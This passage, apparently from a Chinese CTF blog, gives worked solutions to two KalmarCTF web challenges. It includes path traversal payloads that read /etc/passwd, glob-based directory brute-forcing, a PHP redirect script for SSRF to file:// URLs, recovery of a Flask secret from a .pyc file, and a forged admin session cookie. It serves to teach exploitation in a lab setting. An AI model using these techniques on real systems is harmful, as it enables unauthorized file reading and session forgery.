&quot;$&#123;request_line[2]&#125;&quot; | sed &#x27;s/^\s*//g&#x27; | sed &#x27;s/\s*$//g&#x27;) </span><br><span class="line">if [ $protocol != &#x27;HTTP/1.0&#x27; ] &amp;&amp; [ $protocol != &#x27;HTTP/1.1&#x27; ]; then</span><br><span class="line">abort &#x27;Invalid protocol&#x27;</span><br><span class="line">fi</span><br></pre></td></tr></table></figure><h4 id="逻辑漏洞2："><a href="#逻辑漏洞2：" class="headerlink" title="逻辑漏洞2："></a>逻辑漏洞2：</h4><p><strong>可控原因</strong>：<code>$protocol</code><strong>变量由于使用</strong><code>echo</code><strong>命令，是得read读取后的特性消失，使得</strong><code>$protocol</code><strong>可被拓展</strong></p><p>当我们尝试修改<code>HTTP/1.1</code>为<code>/*</code>时，发现并没有出现<code>Invalid protocol</code></p><details class="tag-plugin colorful folding" ><summary><p>open , 拓展：shell语言中的部分特性</p></summary><div class="body"><p><strong>特性4：[]的返回值</strong></p> <p>在 shell 中，<code>[]</code> 符号通常用于条件测试。如 <code>if [ CONDITION ]; then ...</code> 这样的语句。在这种用法中，<code>[]</code> 是 <code>[</code> 命令的简写，这实际上是一个指向 <code>test</code> 命令的链接。因此，当你使用 <code>[]</code> 时，实际上是在调用 <code>test</code> 命令来评估一个条件。</p> <p><code>test</code> 命令（或其等价的 <code>[</code> 形式）的返回值遵循 shell 命令的通用返回值约定：</p> <ul> <li><strong>0</strong>：表示测试的条件为<strong>真（true）</strong>。</li> <li><strong>1</strong>：表示测试的条件为<strong>假（false）</strong>。。</li> <li><strong>&gt;1</strong>：如果出现错误，如语法错误或使用了无效的选项，<code>test</code> 命令可能会返回大于 1 的值。比较特别的是，此时即使设置了<code>set -e</code>也不会退出程序</li> </ul> </div></details><h4 id="逻辑漏洞3："><a href="#逻辑漏洞3：" class="headerlink" title="逻辑漏洞3："></a>逻辑漏洞3：</h4><p>将<code>HTTP/1.1</code>替换为<code>/*</code>时，由于通配符展开，最后会出现进行匹配错误，<code>[]</code>返回大于1的结果，<code>&amp;&amp;</code>的两侧结果都是大于0，返回1，因此<strong>认为是假</strong>，此时这个<code>if</code>条件被判定为假，可以继续执行后面内容的代码</p><p>但如果<code>/*</code>匹配到的结果只有一个时，并不会造成匹配错误，而直接返回0，<code>&amp;&amp;</code>的任意一侧结果为0会直接返回0，此时这个<code>if</code>条件被<strong>判定为真</strong></p><p>启动<code>set -x</code>时的详细信息如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">+ &#x27;[&#x27; badass_server.sh bash.md character1.sh character2.sh file &#x27;!=&#x27; HTTP/1.0 &#x27;]&#x27;</span><br><span class="line">./badass_server.sh: line 63: [: too many arguments</span><br></pre></td></tr></table></figure><p><em>注意：<strong>此时通配符展开并不能认为这个变量是数组</strong>，数组直接使用会利用数组第0个进行匹配，而通配符展开会报错</em></p><p>因此我们可以通过这个点，使用<code>glob</code>通配符<code>[]</code>写入一个已知的字符，不断修改字符，使其最后能匹配到的结果最后有1个以上，页面不出现：<code>Invalid protocol</code>，进行对目录或者文件名的<strong>一步一步匹配</strong>（用这种方法可以确定名称比已知目录少的目录名）</p><p>最初的页面给出了两个目录，需要利用这两个目录，选择一个目录作为已知字符</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">&quot;assets/26c3f25922f71af3372ac65a75cd3b11/iceberg.jpg&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">button</span>&gt;</span>Explore the iceberg<span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- &lt;a href=&quot;assets/f200d055a267ae56160198e0fcb47e5f/try_harder.txt&quot;&gt;</span></span><br><span class="line"><span class="comment">&lt;button&gt;Get the flag&lt;/button&gt;</span></span><br><span class="line"><span class="comment">&lt;/a&gt; --&gt;</span></span><br></pre></td></tr></table></figure><p>以<code>26c3f25922f71af3372ac65a75cd3b11</code>作为已知字符为例，所以最后的playload的过程为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">GET /../../../../../../etc/passwd /app/static/assets/[29]*</span><br><span class="line">GET /../../../../../../etc/passwd /app/static/assets/[29][6d]*</span><br><span class="line">GET /../../../../../../etc/passwd /app/static/assets/[29][6d][cf]*</span><br><span class="line">........</span><br></pre></td></tr></table></figure><p>最后找到隐藏的目录， <code>9df5256fe48859c91122cb92964dbd66</code> </p><p>估计最后是猜的吧，flag最后的位置是：<code>/app/static/assets/9df5256fe48859c91122cb92964dbd66/flag.txt</code></p><p>修改url为<code>../../../../../app/static/assets/9df5256fe48859c91122cb92964dbd66/flag.txt</code>读出<code>kalmar&#123;17b29adf_bash_web_server_was_a_mistake_374add33&#125;</code></p><h2 id="Is-It-Down"><a href="#Is-It-Down" class="headerlink" title="Is It Down"></a>Is It Down</h2><p><em><strong>它是否宕机</strong></em></p><h3 id="题目描述-2"><a href="#题目描述-2" class="headerlink" title="题目描述"></a>题目描述</h3><blockquote><p>In an increasingly online world it is nice to know, if you are the only one being offline or if everybody else are having offline too.</p><p><em>在一个日益在线化的世界中，了解自己是唯一离线还是其他人也处于离线状态是很重要的。</em></p><p>We present to you: Is it down!</p><p><em>我们向您介绍：它是否宕机！</em></p><p>Rumour has it, that a flag is stored somewhere on this server.</p><p><em>有传言称，一个标志位被存储在这台服务器的某个地方。</em></p></blockquote><h3 id="前置知识-1"><a href="#前置知识-1" class="headerlink" title="前置知识"></a>前置知识</h3><ul><li><code>/proc</code>目录以及子目录的功能及其作用</li><li>Python语言及特性</li><li><code>__pycache__</code>文件夹</li></ul><h3 id="解题思路-2"><a href="#解题思路-2" class="headerlink" title="解题思路"></a>解题思路</h3><p>同样的这也是一个<strong>黑盒测试</strong>，看了看页面发现并没有什么提示，可以根据自己的输入的网址进行判断，网址是否在线或者离线</p><p><img src="/posts/fbcd83ad/image-20240324232149397.png" alt="image-20240324232149397"></p><p>直接抓包然后repeat看看</p><p><img src="/posts/fbcd83ad/image-20240324223950122.png" alt="image-20240324223950122"></p><p>会发现页面出现了我们输入网页的源代码，<strong>相关的漏洞应该就是SSRF</strong></p><p>尝试直接使用<code>file:///etc/passwd</code>试试看，发现页面回显出了</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span><span class="attr">&quot;error&quot;</span><span class="punctuation">:</span><span class="string">&quot;Url must start with &#x27;https://&#x27;. We do not want anything insecure here!&quot;</span><span class="punctuation">,</span><span class="attr">&quot;success&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">false</span></span><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>发现只能使用<code>https://</code>开头的链接（<del>是我应该就在这卡住了</del>）</p><p>根据大佬的思路，我们可以尝试一个发生重定向的网址，  <del>无语啦 。。。。。。。。好麻烦，还得自己起个https服务</del></p><p><strong>根据实际的测试发现</strong>：</p><ul><li>如果输入的链接网页存在任何内容，不会跟随着网页重定向</li><li>如果输入的链接网页不存在任何内容，此时会跟随着网页重定向</li></ul><p>例如：</p><p>我们输入网址的响应包为：</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">HTTP/1.1</span> <span class="number">301</span> Moved Permanently</span><br><span class="line"><span class="attribute">Server</span><span class="punctuation">: </span>nginx</span><br><span class="line"><span class="attribute">Date</span><span class="punctuation">: </span>Sun, 24 Mar 2024 15:00:50 GMT</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>text/html</span><br><span class="line"><span class="attribute">Content-Length</span><span class="punctuation">: </span>162</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>close</span><br><span class="line"><span class="attribute">Location</span><span class="punctuation">: </span>https://t.doruo.cn/14Qqfhjr2</span><br><span class="line"></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">head</span>&gt;</span><span class="tag">&lt;<span class="name">title</span>&gt;</span>301 Moved Permanently<span class="tag">&lt;/<span class="name">title</span>&gt;</span><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">center</span>&gt;</span><span class="tag">&lt;<span class="name">h1</span>&gt;</span>301 Moved Permanently<span class="tag">&lt;/<span class="name">h1</span>&gt;</span><span class="tag">&lt;/<span class="name">center</span>&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">hr</span>&gt;</span><span class="tag">&lt;<span class="name">center</span>&gt;</span>nginx<span class="tag">&lt;/<span class="name">center</span>&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span></span><br></pre></td></tr></table></figure><p>此时，不跟随重定向，返回的内容为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;content&quot;:&quot;&lt;html&gt;\\r\\n&lt;head&gt;&lt;title&gt;301 Moved Permanently&lt;/title&gt;&lt;/head&gt;\\r\\n&lt;body bgcolor=\&quot;white\&quot;&gt;\\r\\n&lt;center&gt;&lt;h1&gt;301 Moved Permanently&lt;/h1&gt;&lt;/center&gt;\\r\\n&lt;hr&gt;&lt;center&gt;openresty&lt;/center&gt;\\r\\n&lt;/body&gt;\\r\\n&lt;/html&gt;\\r\\n&quot;,&quot;online&quot;:true,&quot;success&quot;:true&#125;</span><br></pre></td></tr></table></figure><p><strong>我们自己起一个后端服务</strong>，为了随时更改重定向内容，我们可以设置代码为以下</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Location: &quot;</span>.<span class="variable">$_GET</span>[<span class="string">&#x27;wells&#x27;</span>]);</span><br></pre></td></tr></table></figure><p>此时我们使用这个服务，并输入参数<code>?wells=file:///etc/passwd</code>,发现页面返回出来了<code>passwd</code>的文件内容</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;content&quot;:&quot;root:x:0:0:root:/root:/bin/ash\\n.........&quot;,&quot;online&quot;:true,&quot;success&quot;:true&#125;</span><br></pre></td></tr></table></figure><p>此时再次利用<code>/proc</code>目录进行尝试找到后端服务的文件夹位置以及所对应的运行程序</p><p>在<code>/proc/1/cmdline</code>尝试读取后端的运行程序的相关信息<code>uwsgi\\x00--ini\\x00/etc/uwsgi/uwsgi-custom.ini\\x00</code>，可以猜到此时的后端应该是<code>flask</code>，然后再顺藤摸瓜进入到<code>/etc/uwsgi/uwsgi-custom.ini</code>读取配置信息：（美化后）</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[uwsgi]</span></span><br><span class="line"><span class="attr">uid</span> = www-data</span><br><span class="line"><span class="attr">gid</span> = www-data</span><br><span class="line"><span class="attr">master</span> = <span class="literal">true</span></span><br><span class="line"><span class="attr">processes</span> = <span class="number">4</span></span><br><span class="line"><span class="attr">http-socket</span> = <span class="number">0.0</span>.<span class="number">0.0</span>:<span class="number">5000</span></span><br><span class="line"><span class="attr">chmod-sock</span> = <span class="number">664</span></span><br><span class="line"><span class="attr">vacuum</span> = <span class="literal">true</span></span><br><span class="line"><span class="attr">die-on-term</span> = <span class="literal">true</span></span><br><span class="line"><span class="attr">wsgi-file</span> = /var/www/keep-dreaming-sonny-boy/app.py</span><br><span class="line"><span class="attr">callable</span> = app</span><br><span class="line"><span class="attr">pythonpath</span> = /usr/local/lib/python3.<span class="number">11</span>/site-packages</span><br></pre></td></tr></table></figure><p>比较重要的信息是：<code>wsgi-file = /var/www/keep-dreaming-sonny-boy/app.py</code>，然后继续顺藤摸瓜找到对应的后端文件读出出来，因为经过了json的转化，变得无敌难看，让狗屁通美化一下最后得到</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, request, send_from_directory, session, abort</span><br><span class="line"><span class="keyword">from</span> requestlib <span class="keyword">import</span> fetch</span><br><span class="line"><span class="keyword">from</span> config <span class="keyword">import</span> session_encryption_key</span><br><span class="line"><span class="keyword">import</span> subprocess, os</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">protect_secrets</span>():</span><br><span class="line">    os.unlink(<span class="string">&quot;config.py&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check_url</span>(<span class="params">url</span>):</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> <span class="built_in">isinstance</span>(url, <span class="built_in">str</span>) <span class="keyword">or</span> <span class="built_in">len</span>(url) == <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span>, <span class="string">&quot;Please provide a regular url!&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> url.startswith(<span class="string">&quot;https://&quot;</span>) <span class="keyword">or</span> url.lstrip() != url:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span>, <span class="string">&quot;Url must start with &#x27;https://&#x27;. We do not want anything insecure here!&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">True</span>, <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">app = Flask(__name__, static_folder=<span class="string">&#x27;static&#x27;</span>, static_url_path=<span class="string">&#x27;/assets/&#x27;</span>)</span><br><span class="line">app.secret_key = session_encryption_key</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Using key: &quot;</span>, app.secret_key)</span><br><span class="line"></span><br><span class="line">protect_secrets()</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/&#x27;</span>, methods=[<span class="string">&#x27;GET&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">home</span>():</span><br><span class="line">    <span class="keyword">return</span> send_from_directory(<span class="string">&#x27;pages&#x27;</span>, <span class="string">&#x27;index.html&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/flag&#x27;</span>, methods=[<span class="string">&#x27;GET&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">healthcheck</span>():</span><br><span class="line">    <span class="keyword">if</span> session.get(<span class="string">&quot;admin&quot;</span>) == <span class="literal">True</span>: <span class="comment">#</span></span><br><span class="line">        <span class="keyword">return</span> subprocess.check_output(<span class="string">&quot;/readflag&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> abort(<span class="number">403</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/check&#x27;</span>, methods=[<span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check</span>():</span><br><span class="line">    url = request.form.get(<span class="string">&quot;url&quot;</span>)</span><br><span class="line">    valid, err = check_url(url)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> valid:</span><br><span class="line">        <span class="keyword">return</span> &#123;</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span>: <span class="literal">False</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span>: err</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="literal">True</span>:</span><br><span class="line">        content = fetch(url)</span><br><span class="line">        <span class="keyword">return</span> &#123;</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span>: <span class="literal">True</span>,</span><br><span class="line">            <span class="string">&#x27;online&#x27;</span>: content != <span class="literal">None</span>,</span><br><span class="line">            <span class="string">&#x27;content&#x27;</span>: content</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    app.run(host=<span class="string">&#x27;0.0.0.0&#x27;</span>, port=<span class="number">10600</span>, debug=<span class="literal">False</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>但是这里面<code>requestlib</code>库文件是我们安装不了的，尝试直接读取一下<code>requestlib.py</code>查看是不是自己写的库，同样的也是读到了这个文件，经过美化后如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> urllib.request <span class="keyword">import</span> urlopen, HTTPErrorProcessor, build_opener, Request</span><br><span class="line"><span class="keyword">import</span> urllib</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">NoRedirection</span>(<span class="title class_ inherited__">HTTPErrorProcessor</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">http_response</span>(<span class="params">self, request, response</span>):</span><br><span class="line">        <span class="keyword">return</span> response</span><br><span class="line"></span><br><span class="line">    https_response = http_response</span><br><span class="line"></span><br><span class="line">install_opener(build_opener(NoRedirection()))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fetch</span>(<span class="params">url, follow_redirects=<span class="literal">True</span></span>):</span><br><span class="line">    <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">    Avoid endless redirect loops</span></span><br><span class="line"><span class="string">    &#x27;&#x27;&#x27;</span></span><br><span class="line">    headers = &#123;</span><br><span class="line">        <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;requestlib 2.9-alpha&quot;</span></span><br><span class="line">    &#125;</span><br><span class="line">    req = Request(url, headers=headers)</span><br><span class="line">    <span class="keyword">with</span> urlopen(req) <span class="keyword">as</span> res:</span><br><span class="line">        redirect_url = res.headers.get(<span class="string">&quot;Location&quot;</span>))</span><br><span class="line">        <span class="keyword">if</span> redirect_url <span class="keyword">and</span> follow_redirects:</span><br><span class="line">            <span class="keyword">return</span> fetch(redirect_url, follow_redirects=<span class="literal">False</span>)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">str</span>(res.read())[<span class="number">2</span>:-<span class="number">1</span>]</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="漏洞成因"><a href="#漏洞成因" class="headerlink" title="漏洞成因"></a>漏洞成因</h4><p>在定义的<code>fetch</code>函数中<code>follow_redirects</code>值默认为<code>True</code>，并且跟随响应包中的<code>Location</code>键值进行判断是否存在重定向，重定向的目标是何。但由于只限制了第一次输入的网址为<code>https://</code>,并<strong>未进行对重定向的协议进行检查</strong>从而造成了<code>SSRF</code></p><details class="tag-plugin colorful folding" ><summary><p>如何处理重定向</p></summary><div class="body"><p><strong>注意：</strong></p> <p>如浏览器，powershell中的curl再处理重定向时，无法处理从<code>https://</code>重定向至<code>file://</code></p> <p>powershell中的curl发生报错</p> <p><img src="/3f38953983e9ec433be5d50aee943d1f.png" alt="3f38953983e9ec433be5d50aee943d1f"></p> <p>浏览器会提示页面错误</p> <p><img src="/4fb256abd0148e6f540cc518868c64bb.png" alt="4fb256abd0148e6f540cc518868c64bb"></p> </div></details><p>做到这里，<strong>关键其实是为造出一个session</strong>，其键值存在<code>admin: True</code>,但存有<code>session_encryption_key</code>的<code>config.py</code>再被调用后就被删除了,需要找到如何复原的办法</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">@app.route(&#x27;/flag&#x27;, methods=[&#x27;GET&#x27;])</span><br><span class="line">def healthcheck():</span><br><span class="line">    if session.get(&quot;admin&quot;) == True: #</span><br><span class="line">        return subprocess.check_output(&quot;/readflag&quot;)</span><br><span class="line">    else:</span><br><span class="line">        return abort(403)</span><br></pre></td></tr></table></figure><h4 id="pycache-文件夹"><a href="#pycache-文件夹" class="headerlink" title="__pycache__文件夹"></a><code>__pycache__</code>文件夹</h4><blockquote><p>在Python工作目录下，如果执行某文件后经常会自动生成一个<code>__pycache__</code>文件夹。<code>__pycache__</code>文件夹正是缓存*<code>.pyc</code>地方。<code>*.pyc</code>文件的命名格式是<code>&lt;module&gt;.&lt;interpreter_version&gt;.pyc</code>。<strong>注意，对于被导入（<code>import</code>）的module才会生成对应的<code>*.pyc</code>文件</strong></p><p>详细文档可参考：</p><p><a href="https://zhuanlan.zhihu.com/p/476772186">【Python】__pycache__文件夹是什么东西？ - 知乎 (zhihu.com)</a></p><p><a href="https://blog.csdn.net/yitiaodashu/article/details/79023987">pyhton中__pycache__文件夹的产生与作用_pycache文件夹下的东西是如何产生的-CSDN博客</a></p><p>例子：</p><p>以被导入的为<code>config.py</code>文件为例，最后生成在<code>__pycache__</code>文件夹<code>config.cpython-35.pyc</code>，最开始的<code>config</code>为被导入的文件名，<code>cpython</code>代表的是c语言实现的Python解释器，<code>-35</code>代表的是版本为3.5版。</p></blockquote><p>因此，我们可以在<code>__pycache__</code>文件夹中找到config的<code>.pyc</code>文件，再进行逆向</p><p>最后测试到路径为：<code>/var/www/keep-dreaming-sonny-boy/__pycache__/config.cpython-311.pyc</code>，里面的内容为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">\\xa7\\r\\r\\n\\x00\\x00\\x00\\x00\\x86\\x84\\xf7e;\\x00\\x00\\x00\\xe3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf3\\n\\x00\\x00\\x00\\x97\\x00d\\x00Z\\x00d\\x01S\\x00)\\x02\\xda Rm7GbQJ4uDikyiis6miD7YwsN11rEjfLN)\\x01\\xda\\x16session_encryption_key\\xa9\\x00\\xf3\\x00\\x00\\x00\\x00\\xfa*/var/www/keep-dreaming-sonny-boy/config.py\\xfa\\x08&lt;module&gt;r\\x07\\x00\\x00\\x00\\x01\\x00\\x00\\x00s\\x11\\x00\\x00\\x00\\xf0\\x03\\x01\\x01\\x01\\xd8\\x19;\\xd0\\x00\\x16\\xd0\\x00\\x16\\xd0\\x00\\x16r\\x05\\x00\\x00\\x00</span><br></pre></td></tr></table></figure><p>由于转化为json后转义字符<code>\</code>会变成<code>\\</code>,叫狗屁通写一个小小的脚本把以上数据恢复成二进制数据</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">data_str = <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">\\xa7\\r\\r\\n\\x00\\x00\\x00\\x00\\x86\\x84\\xf7e;\\x00\\x00\\x00\\xe3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf3\\n\\x00\\x00\\x00\\x97\\x00d\\x00Z\\x00d\\x01S\\x00)\\x02\\xda Rm7GbQJ4uDikyiis6miD7YwsN11rEjfLN)\\x01\\xda\\x16session_encryption_key\\xa9\\x00\\xf3\\x00\\x00\\x00\\x00\\xfa*/var/www/keep-dreaming-sonny-boy/config.py\\xfa\\x08&lt;module&gt;r\\x07\\x00\\x00\\x00\\x01\\x00\\x00\\x00s\\x11\\x00\\x00\\x00\\xf0\\x03\\x01\\x01\\x01\\xd8\\x19;\\xd0\\x00\\x16\\xd0\\x00\\x16\\xd0\\x00\\x16r\\x05\\x00\\x00\\x00</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="comment"># 将字符串中的转义序列转换为相应的二进制数据</span></span><br><span class="line">binary_data = <span class="built_in">bytes</span>(data_str, <span class="string">&quot;utf-8&quot;</span>).decode(<span class="string">&quot;unicode_escape&quot;</span>).encode(<span class="string">&quot;latin1&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 保存到文件</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;output_binary_data.txt&quot;</span>, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> file:</span><br><span class="line">    file.write(binary_data)</span><br></pre></td></tr></table></figure><p><code>.pyc</code>文件的逆向在网上就很多在线的工具可以进行使用，逆向后得到</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line"># visit https://tool.lu/pyc/ for more information</span><br><span class="line"># Version: Python 3.11</span><br><span class="line"></span><br><span class="line">session_encryption_key = &#x27;Rm7GbQJ4uDikyiis6miD7YwsN11rEjfL&#x27;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>再使用session伪造工具<code>flask-session-cookie-manager</code>为造出一个session出来，指令为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python flask_session_cookie_manager3.py encode -s &#x27;Rm7GbQJ4uDikyiis6miD7YwsN11rEjfL&#x27; -t &quot;&#123;&#x27;admin&#x27;:True&#125;&quot;</span><br></pre></td></tr></table></figure><p>最后得到伪造的session所对应的cookie为：<code>eyJhZG1pbiI6dHJ1ZX0.ZgBMeg.t2OWSLBvEeZpMPUZNBFFcmsFS-o</code>，手动填入浏览器中，并访问&#x2F;flag</p><p><img src="/posts/fbcd83ad/4ac0b231a81aeef5ed48fde37b6f6650.png" alt="4ac0b231a81aeef5ed48fde37b6f6650"></p><p>最后得到flag：<code>kalmar&#123;Rem3Mbr_T0_fl0sh!&#125;</code></p><details class="tag-plugin colorful folding" ><summary><p>查看Wells的丢人过程</p></summary><div class="body"><p>我想着不是伪造出session最后的结果时运行<code>/readflag</code>这个可执行文件，便尝试读取了一下，转化为二进制，再发给逆向的同学看看能不能找出flag<strong>位于哪里命名为什么</strong>直接读取出来</p> <p>也确实逆向出来，找到了flag的位置以及名称</p> <p><img src="/3e0b6376b99ca459bfbfb08201947ec8.png" 